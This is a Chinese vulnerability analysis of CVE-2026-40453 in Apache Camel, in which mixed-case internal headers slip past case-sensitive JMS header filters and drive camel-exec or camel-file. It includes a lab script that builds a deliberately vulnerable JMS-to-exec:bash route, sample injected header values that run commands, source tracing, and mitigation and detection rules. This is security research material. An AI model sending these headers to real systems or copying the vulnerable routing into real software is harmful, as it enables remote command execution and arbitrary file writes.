0x0 背景介绍

Apache Camel是一个开源的集成框架,基于已知的企业集成模式实现。

受影响版本中,JmsHeaderFilterStrategy、ClassicJmsHeaderStrategy、SjmsHeaderFilterStrategy、CoAPHeaderFilterStrategy和GooglePubsubHeaderFilterStrategy这5个非HTTP HeaderFilterStrategy实现使用大小写敏感的String.startsWith进行header过滤,而Camel Exchange内部以大小写不敏感map存储header。攻击者可通过JMS等协议注入大小写变体的Camel内部header(如’CAmelExecCommandExecutable’),绕过过滤后被camel-exec、camel-file等下游组件以标准大小写处理,导致远程代码执行或任意文件写入。

修复版本中通过在这5个策略类的构造函数中添加setLowerCase(true),使header名称在过滤前先转换为小写,确保大小写变体均可被正确过滤。


0x1 环境搭建(Ubuntu24)

  • 为了复现环境整的,而非标准生产环境
#!/bin/bash
# CVE-2026-40453 漏洞环境搭建脚本
# 若任何命令失败则立即退出
set -e
echo "[*] 阶段1/4:检查并安装基础依赖..."
if ! command -v docker &> /dev/null; then
    echo "[+] Docker 未安装,正在尝试安装..."
    # 这里仅演示安装docker.io,实际生产环境建议使用官方源
    sudo apt update && sudo apt install -y docker.io
fi
sudo systemctl enable --now docker 2>/dev/null || true
# 检查 Docker Compose 插件(现代标准)
if ! docker compose version &> /dev/null; then
    echo "[!] 警告:Docker Compose 插件未安装。请安装 docker-compose-plugin 或使用 'docker-compose' 命令。"
    echo "    本脚本将尝试使用 'docker-compose' 命令(如果已安装)。"
fi
echo "[*] 阶段2/4:创建工作目录并生成项目文件..."
WORKDIR="$HOME/cve-2026-40453"
mkdir -p "$WORKDIR/camel-app/src/main/java/org/vuln" && cd "$WORKDIR"
echo "[+] 进入工作目录: $PWD"
# 阶段2.1:生成 docker-compose.yml
echo "[*] 正在生成 docker-compose.yml..."
cat > docker-compose.yml <<'EOF'
version: '3.8'
services:
  activemq:
    image: apache/activemq-classic:6.1.6
    container_name: activemq
    ports:
      - "61616:61616"      # JMS
      - "8161:8161"
    environment:
      ACTIVEMQ_ADMIN_LOGIN: admin
      ACTIVEMQ_ADMIN_PASSWORD: admin
  camel-app:
    build: ./camel-app
    container_name: camel-app
    depends_on:
      - activemq
    environment:
      ACTIVEMQ_BROKER_URL: tcp://activemq:61616
    # 简单用 sleep 防止 ActiveMQ 未完全就绪,生产可加 healthcheck
    entrypoint: ["/bin/sh", "-c", "sleep 15 && java -jar /app/app.jar"]
EOF
# 阶段2.2:生成 Dockerfile
echo "[*] 正在生成 camel-app/Dockerfile..."
cat > camel-app/Dockerfile <<'EOF'
# 编译阶段
FROM maven:3.9-eclipse-temurin-17 AS builder
WORKDIR /src
COPY pom.xml .
COPY src ./src
RUN mvn package -DskipTests -q
# 运行阶段
FROM eclipse-temurin:17-jre
WORKDIR /app
COPY --from=builder /src/target/*.jar app.jar
EXPOSE 8080
CMD ["java", "-jar", "app.jar"]
EOF
# 阶段2.3:生成 pom.xml
echo "[*] 正在生成 camel-app/pom.xml..."
cat > camel-app/pom.xml <<'EOF'
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
         http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
    <version>3.3.5</version>
    <relativePath/>
  </parent>
  <groupId>org.vuln</groupId>
  <artifactId>camel-cve-2026-40453</artifactId>
  <version>1.0.0</version>
  <properties>
    <java.version>17</java.version>
    <camel.version>4.14.5</camel.version>
  </properties>
  <dependencyManagement>
    <dependencies>
      <dependency>
        <groupId>org.apache.camel.springboot</groupId>
        <artifactId>camel-spring-boot-bom</artifactId>
        <version>${camel.version}</version>
        <type>pom</type>
        <scope>import</scope>
      </dependency>
    </dependencies>
  </dependencyManagement>
  <dependencies>
    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter</artifactId>
    </dependency>
    <dependency>
      <groupId>org.apache.camel.springboot</groupId>
      <artifactId>camel-spring-boot-starter</artifactId>
    </dependency>
    <dependency>
      <groupId>org.apache.camel.springboot</groupId>
      <artifactId>camel-jms-starter</artifactId>
    </dependency>
    <dependency>
      <groupId>org.apache.camel.springboot</groupId>
      <artifactId>camel-exec-starter</artifactId>
    </dependency>
    <dependency>
      <groupId>org.apache.activemq</groupId>
      <artifactId>activemq-client</artifactId>
      <version>6.1.6</version>
    </dependency>
  </dependencies>
  <build>
    <plugins>
      <plugin>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-maven-plugin</artifactId>
      </plugin>
    </plugins>
  </build>
</project>
EOF
# 阶段2.4:生成 Java 源码
echo "[*] 正在生成 camel-app/src/main/java/org/vuln/Application.java..."
mkdir -p camel-app/src/main/java/org/vuln
cat > camel-app/src/main/java/org/vuln/Application.java <<'EOF'
package org.vuln;
import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.camel.builder.RouteBuilder;
import org.apache.camel.component.jms.JmsComponent;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;
import org.springframework.core.env.Environment;
@SpringBootApplication
public class Application {
    public static void main(String[] args) {
        SpringApplication.run(Application.class, args);
    }
    @Bean
    public JmsComponent jms(Environment env) {
        String brokerUrl = env.getProperty("ACTIVEMQ_BROKER_URL", "tcp://localhost:61616");
        ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
        JmsComponent jms = new JmsComponent();
        jms.setConnectionFactory(cf);
        return jms;
    }
    @Bean
    public RouteBuilder vulnerableRoutes() {
        return new RouteBuilder() {
            @Override
            public void configure() {
                // 场景 A:JMS -> exec (使用 vuln.exec 队列)
                from("jms:queue:vuln.exec")
                    //.to("exec:bash");
                    .to("exec:whoami")
                    .log(">>> whoami output: ${body}");
                // 场景 B:JMS -> file 任意文件写入 (队列 vuln.file)
                from("jms:queue:vuln.file")
                    .to("file:/tmp/outbox?autoCreate=true");
                // 场景 C:JMS -> exec (使用 incoming 队列,作为另一种演示)
                from("jms:queue:incoming")
                    .to("exec:bash");
            }
        };
    }
}
EOF
echo "[*] 阶段3/4:启动 Docker 容器环境..."
echo "[+] 正在拉取镜像并构建应用..."
# 停止并清理旧容器
docker compose down -v 2>/dev/null || true
# 启动服务
docker compose up -d
echo ""
echo "=============================================="
echo " CVE-2026-40453 漏洞环境部署完成!"
echo "  - ActiveMQ 控制台: http://localhost:8161"
echo "    用户名: admin"
echo "    密码: admin"
echo "  - Camel 应用容器已后台运行"
echo "  - 漏洞触发点: 向 ActiveMQ 的 'incoming' 队列发送消息将触发 exec:bash"
echo ""
echo "  - 查看日志: docker logs camel-app"
echo "  - 进入容器: docker exec -it camel-app /bin/bash"
echo "=============================================="

0x2 漏洞复现

多说一句话,后续尽可能的将复现Pacp共享出来,便于大家做拦截验证

2.1-手动验证

  • 一共是三个,但是本质相同

2.1.1 场景 A:JMS -> camel-exec 命令执行

这一类场景最适合做“最短利用链”验证。先搭一个最容易暴露问题的跨边界链路: 外部生产者只能往消息队列里塞消息头,而路由内部再把消息交给 exec:

建议环境

1. 中间件: 
 ActiveMQ Classic 或任意支持 JMS 属性的 Broker。
2. 路由形态:消费端: from("jms:queue:vuln.exec")
  •危险下游: to("exec:whoami") 或 Windows 下 to("exec:cmd.exe")
3. 依赖模块:
  •camel-jms
  •camel-exec
  •对应 JMS 驱动

最小化示例路由

from("jms:queue:vuln.exec")
.to("exec:whoami");

如果希望从 Web 侧,可以再加一个 HTTP 入口,把请求头原样转发进 JMS:

345678
rest("/demo")
.post("/exec")
.to("direct:bridge");

from("direct:bridge")
.to("jms:queue:vuln.exec");

Windows 下可替换为:

cAmelExecCommandExecutable=cmd.exe
cAmelExecCommandArgs=/c whoami
2.1.2 场景 B:JMS -> camel-file 任意文件写入

很多系统不会直接接 exec:,却很常见地把 MQ 中的消息落到文件系统。此时攻击者未必需要拿 RCE,只要能劫持输出文件名或路径,就已经越过了原本的安全边界。

建议环境

1. 路由形态:
  •消费端: from("jms:queue:vuln.file")
  •危险下游: to("file:./outbox?autoCreate=true")

2.依赖模块:
  •camel-jms
  •camel-file

最小化示例路由

from("jms:queue:vuln.file")
.to("file:./outbox?autoCreate=true");

2.2-复现流量特征 (PCAP)

本次复现PCAP:
https://github.com/Kai-One001/PCAP-For-Cybersecurity.rule/blob/main/2026/CVE-2026-40453-Apache-Camel.pcap
  • 命令接口

  • 文件写入

  • 命令接口


0x3 漏洞原理分析

3.0-[架构定位] 先把受影响模块放同一条消息链

只有先把每个模块在链条中的职责摆清楚,后面看代码时才不会迷失在大量组件实现里。
在这里插入图片描述

3.1-[核心入口]先看 HeaderFilterStrategy

原本根据漏洞信息时,第一反应应该是去翻camel-exec,这次先不,这次是先追问一个更基础的问题: 攻击者明明只能控制“外部消息头”,这些头为什么有机会在路由内部被当成CamelExecCommandExecutable这样的框架级内部头使用?

先找到外部 Header 进入 Camel 体系时的第一道边界。顺着JMS consumer的逻辑往下看,定位到 JmsBinding.extractHeadersFromJms()。这个函数是关键,因为它一边枚举JMS属性,一边决定哪些头该被拦下,哪些头可以进入Camel消息对象。

// components/camel-jms/src/main/java/org/apache/camel/component/jms/JmsBinding.java
whilewhile (names.hasMoreElements()) {
    String name = names.nextElement().toString();
    Object value = JmsMessageHelper.getProperty(jmsMessage, name);
    if (headerFilterStrategy != null
            && headerFilterStrategy.applyFilterToExternalHeaders(name, value, exchange)) {
        continue;
    }

    String key = jmsKeyFormatStrategy.decodeKey(name);
    map.put(key, value);
}
  • 预期安全边界,本来应该是“外部消息头先过过滤器,Camel内部保留头不能进入业务 Exchange”。

  • 可真正实现里,过滤是否命中完全取决于HeaderFilterStrategy,而一旦没有命中,头就会被map.put(key, value)塞进Camel的消息头图。

  • 换句话说,这里就是“最后一道失守前的边界闸门”。

接着往上追过滤器的具体实现,可以看到 JMS 默认使用的是JmsHeaderFilterStrategy:

// components/camel-jms/src/main/java/org/apache/camel/component/jms/JmsHeaderFilterStrategy.java
public JmsHeaderFilterStrategy(boolean includeAllJMSXProperties) {
    setOutFilterStartsWith(DefaultHeaderFilterStrategy.CAMEL_FILTER_STARTS_WITH);
    setInFilterStartsWith(DefaultHeaderFilterStrategy.CAMEL_FILTER_STARTS_WITH);
    if (!includeAllJMSXProperties) {
        initialize();
    }
}
  • 这里传入的CAMEL_FILTER_STARTS_WITH实际上就是框架试图保护内部头空间的规则: 凡是以Camel / camel开头的头,都应该被视为内部头,不让外部带进来。

3.2-[逻辑缺陷] 预期要“拦 Camel 头”,实际却只拦了两种大小写

顺着JmsHeaderFilterStrategy往下追,停在DefaultHeaderFilterStrategy.doFiltering()。看这里的原因很简单: 入口策略把规则交给了公共基类,真正决定是否放行

// core/camel-support/src/main/java/org/apache/camel/support/DefaultHeaderFilterStrategy.java
private boolean doFiltering(Direction direction, String headerName, Object headerValue, Exchange exchange) {
    // ...
    if (startsWith != null) {
        if (tryHeaderMatch(headerName, startsWith)) {
            return filterOnMatch;
        }
        if (lowerCase) {
            lower = headerName.toLowerCase();
            if (tryHeaderMatch(lower, startsWith)) {
                return filterOnMatch;
            }
        }
    }
    // ...
}

private boolean tryHeaderMatch(String headerName, String[] startsWith) {
    for (String s : startsWith) {
        boolean match = headerName.startsWith(s);
        if (match) {
            return true;
        }
    }
    return false;
}
  • startsWith这一支并没有做统一规范化后再比较,而是直接把原始headerName拿来和"Camel"、"camel"做前缀匹配。

  • 它真正能拦住的,是完全以Camel开头或者完全以camel开头的两类头。

这就是设计预期与实现现实之间差异:

•预期边界: 
  任何 Camel 内部头,不管攻击者怎么折腾大小写,只要语义上还是那个内部头,就不该从外部进入。

•实际实现: 
  过滤器只认识 "Camel" 和 "camel" 两种字面前缀,像 cAmelExecCommandExecutable、CAMelFileName 这类混合大小写变体会被当成“普通外部头”放行。

更值得注意的是,同一份实现里,Set型过滤反而考虑了equalsIgnoreCase

// core/camel-support/src/main/java/org/apache/camel/support/DefaultHeaderFilterStrategy.java
private boolean evalFilterMatch(String headerName, String lower, Set<String> filter) {
    if (isCaseInsensitive()) {
        for (String filterString : filter) {
            if (filterString.equalsIgnoreCase(headerName)) {
                return true;
            }
        }
    } else if (lowerCase) {
        // ...
    }
    return false;
}

3.3-[攻击链路] 为什么绕过入口后,下游还能按规范头名精确命中

如果分析停在上一步,其实还差最后一块拼图: 就算攻击者用 cAmelExecCommandExecutable 绕过了 JMS 过滤器,下游组件读取的却是标准名字 CamelExecCommandExecutable。这两个字符串并不完全相同,为什么还能连上?

答案藏在 Camel 默认消息实现里。之所以回头去看DefaultMessage,是因为所有组件最终读的都是exchange.getIn().getHeader(...)。只要这里对头名查找是大小写不敏感的,前面的绕过和后面的命中就会自然拼接起来。

// core/camel-support/src/main/java/org/apache/camel/support/DefaultMessage.java
/**
 * This implementation uses a {@link org.apache.camel.util.CaseInsensitiveMap} storing the headers.
 * This allows us to be able to lookup headers using case insensitive keys.
 */
 
 public Object getHeader(String name) {
    if (headers == null) {
        headers = createHeaders();
    }
    if (!headers.isEmpty()) {
        return headers.get(name);
    } else {
        return null;
    }
}

再往底层看,CaseInsensitiveMap直接使用了String.CASE_INSENSITIVE_ORDER:

// core/camel-util/src/main/java/org/apache/camel/util/CaseInsensitiveMap.java
public class CaseInsensitiveMap extends TreeMap<String, Object> {
    public CaseInsensitiveMap() {
        super(String.CASE_INSENSITIVE_ORDER);
    }
    public CaseInsensitiveMap(Map<? extends String, ?> map) {
        super(String.CASE_INSENSITIVE_ORDER);
        putAll(map);
    }
}
  • 入口过滤是在大小写敏感地看头名,消息对象内部却在大小写不敏感地存取头名。

  • 攻击者只需要在入口边界把头名改成一个大小写变体,让它躲过过滤;

  • 一旦进入 CaseInsensitiveMap,这个变体就会与规范头名合流。

  • 下游组件完全不需要知道攻击者用了什么花样大小写,它按正常代码读取标准头名,就能把恶意值取出来。

3.4-[爆发点一] 为什么确信这条链能打到 camel-exec

确认了“能进来”和“能命中”之后,下一步就是找真正的危险操作函数。对camel-exec 来说,这个函数非常明确: DefaultExecBinding.readInput() 负责从消息头取出命令相关参数,随后 ExecProducer.process() 直接执行。

public ExecCommand readInput(Exchange exchange, ExecEndpoint endpoint) {
    Object args = exchange.getIn().removeHeader(EXEC_COMMAND_ARGS);
    String cmd = getAndRemoveHeader(exchange.getIn(), EXEC_COMMAND_EXECUTABLE, endpoint.getExecutable(), String.class);
    String dir = getAndRemoveHeader(exchange.getIn(), EXEC_COMMAND_WORKING_DIR, endpoint.getWorkingDir(), String.class);
    long timeout = getAndRemoveHeader(exchange.getIn(), EXEC_COMMAND_TIMEOUT, endpoint.getTimeout(), Long.class);
    String exitValuesString
            = getAndRemoveHeader(exchange.getIn(), EXEC_COMMAND_EXIT_VALUES, endpoint.getExitValues(), String.class);
    String outFilePath = getAndRemoveHeader(exchange.getIn(), EXEC_COMMAND_OUT_FILE, endpoint.getOutFile(), String.class);
    // ...
    return new ExecCommand(
            cmd, argsList, dir, timeout, exitValues, input, outFile, useStderrOnEmptyStdout, commandLogLevel);
}
public void process(Exchange exchange) throws Exception {
    ExecCommand execCommand = getBinding().readInput(exchange, endpoint);
    ExecCommandExecutor executor = endpoint.getCommandExecutor();
    // ...
    ExecResult result = executor.execute(execCommand);
}
  • 如果只看框架设计CamelExecCommandExecutable、CamelExecCommandArgs 这类头本来应该是路由内部受控参数,用于在可信处理器之间传递执行上下文,而不应该由外部消息生产者直接注入。

  • 但是现在,攻击者只要先利用前面的大小写缺陷把这些头带进Exchange,再借助CaseInsensitiveMap让它们被标准名命中ExecProducer就会心安理得地执行攻击者指定的命令。

  • 在这条链上,最后一道失守的防线其实就是 ExecProducer.process() 之前的 DefaultExecBinding.readInput()。因为到了这里,框架已经不再区分“这个头是可信内部逻辑写入的,还是外部消息伪装带进来的”。一旦读到了值,它就会把它们当作合法执行参数组装成 ExecCommand

3.5-[爆发点二] 同样的逻辑为什么还能劫持 camel-file

接着继续找camel-file,是因为它代表另一类非常常见的风险: 不一定要执行命令,只要能影响文件路径,就能形成越权写入、投放后门文件、污染后续处理结果等更隐蔽的攻击面。

首先看框架对这些头的定义:

// components/camel-file/src/main/java/org/apache/camel/component/file/FileConstants.java

@Metadata(description = "(producer) Specifies the name of the file to write ...")
public static final String FILE_NAME = Exchange.FILE_NAME;
xxxxxx

@Metadata(label = "producer", description = "Is used for overruling `CamelFileName` header ...")
public static final String OVERRULE_FILE_NAME = Exchange.OVERRULE_FILE_NAME;

然后看真正消费这些头的位置:

// components/camel-file/src/main/java/org/apache/camel/component/file/GenericFileProducer.java
protected void doProcess(Exchange exchange) throws Exception {
    final String existing = exchange.getIn().getHeader(FileConstants.FILE_NAME, String.class);
    String target = createFileName(exchange);
    // ...
    exchange.getIn().removeHeader(Exchange.OVERRULE_FILE_NAME);
    exchange.getIn().setHeader(FileConstants.FILE_NAME, existing);
}
// 2
public String createFileName(Exchange exchange) {
    Object overrule = exchange.getIn().getHeader(FileConstants.OVERRULE_FILE_NAME);
    final Object value = getOverrule(exchange, overrule);
    // ...
}
private static Object getOverrule(Exchange exchange, Object overrule) {
    if (overrule != null) {
        // ...
    } else {
        value = exchange.getIn().getHeader(FileConstants.FILE_NAME);
    }
    return value;
}
// 3
public void writeFile(Exchange exchange, String fileName) throws GenericFileOperationFailedException {
    if (endpoint.isAutoCreate()) {
        String name = FileUtil.normalizePath(fileName);
        File file = new File(name);
        String directory = file.getParent();
        if (directory != null) {
            operations.buildDirectory(directory, absolute);
        }
    }
    boolean success = operations.storeFile(fileName, exchange, -1);
}

这里的问题与camel-exec 是同构的。

  • CamelFileName / CamelOverruleFileName应该是路由内部用来控制输出文件名的保留头;

  • 实际中呢,只要攻击者能通过大小写变体把它们偷运进Exchange,下游GenericFileProducer 就会把它们作为正常的输出路径参数使用。

  • 尤其当端点开启autoCreate=true时,攻击者不仅能控制文件名,往往还可以顺手控制目录层级。

如果目标业务把 MQ 消息落盘到某个被其他系统消费的目录,那么这就不只是“任意写一个文件”那么简单了。它可能进一步变成:

1. 向任务目录投放伪造作业文件,诱导后续处理链执行;
2. 覆盖关键业务输出,制造数据污染;
3. 在某些部署结构下,向 Web 可访问目录写入可执行脚本或恶意内容。

3.6-[攻击链路] 从注入点到爆发点的完整闭环

现在整条链已经可以完整闭环了。我们重新串起来,会发现这个漏洞并不是单点编码失误,而是三个“各自看起来合理”的设计在边界上发生了危险叠加:

1. JMS/SJMS 希望用 HeaderFilterStrategy 阻止外部消息伪装内部头。
2. Camel 核心为了易用性,默认把消息头放进 CaseInsensitiveMap。
3. camel-exec、camel-file 等下游组件按规范内部头名读取参数。

完整调用链如下:

// 外部 HTTP/JMS 生产者
  -> 注入大小写变体头(如 cAmelExecCommandExecutable / cAmelFileName)
  -> JMS Consumer / SJMS Consumer
  -> JmsBinding.extractHeadersFromJms()
  -> HeaderFilterStrategy.applyFilterToExternalHeaders()
  -> DefaultHeaderFilterStrategy.doFiltering() 前缀匹配遗漏混合大小写
  -> map.put(key, value) 写入 Camel Message
  -> DefaultMessage / CaseInsensitiveMap 以不区分大小写方式存储与检索
  -> 下游组件按规范头名 getHeader()/removeHeader()
  -> 爆发点 A: DefaultExecBinding.readInput() -> ExecProducer.process() -> 命令执行
  -> 爆发点 B: GenericFileProducer.createFileName()/writeFile() -> 文件写入

0x4 修复建议

1、升级最新版本:将组件升级安全版本

https://camel.apache.org/security/CVE-2026-40453.html

2、临时防护措施:

  • 限制访问:严格限制谁可以向JMS/消息队列生产消息;对桥接MQ的HTTP入口增加鉴权,不允许匿名或低信任租户直接投递

  • 防火墙 / WAF:可拦截包含异常Camel内部头特征的请求头,例如 :(?i)^camel(exec|file)

  • 危险组件隔离:避免把jms:或其他外部可写消息源直接连接到exec:、file:、bean:等受Header强驱动的端点,中间增加显式映射层,只复制白名单字段。

  • 审计与检测:重点检索日志、Broker 属性和流量中是否出现非常规大小写的Camel 内部头,如cAmelExecCommandExecutable、CAMelFileName、cAmelOverruleFileName。这类特征在正常业务里几乎没有正当理由出现。


免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。

/** 怎么样怎么样?专门找今天发,因为假期最后一天啦,同志们要注意时间管理呀**/

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐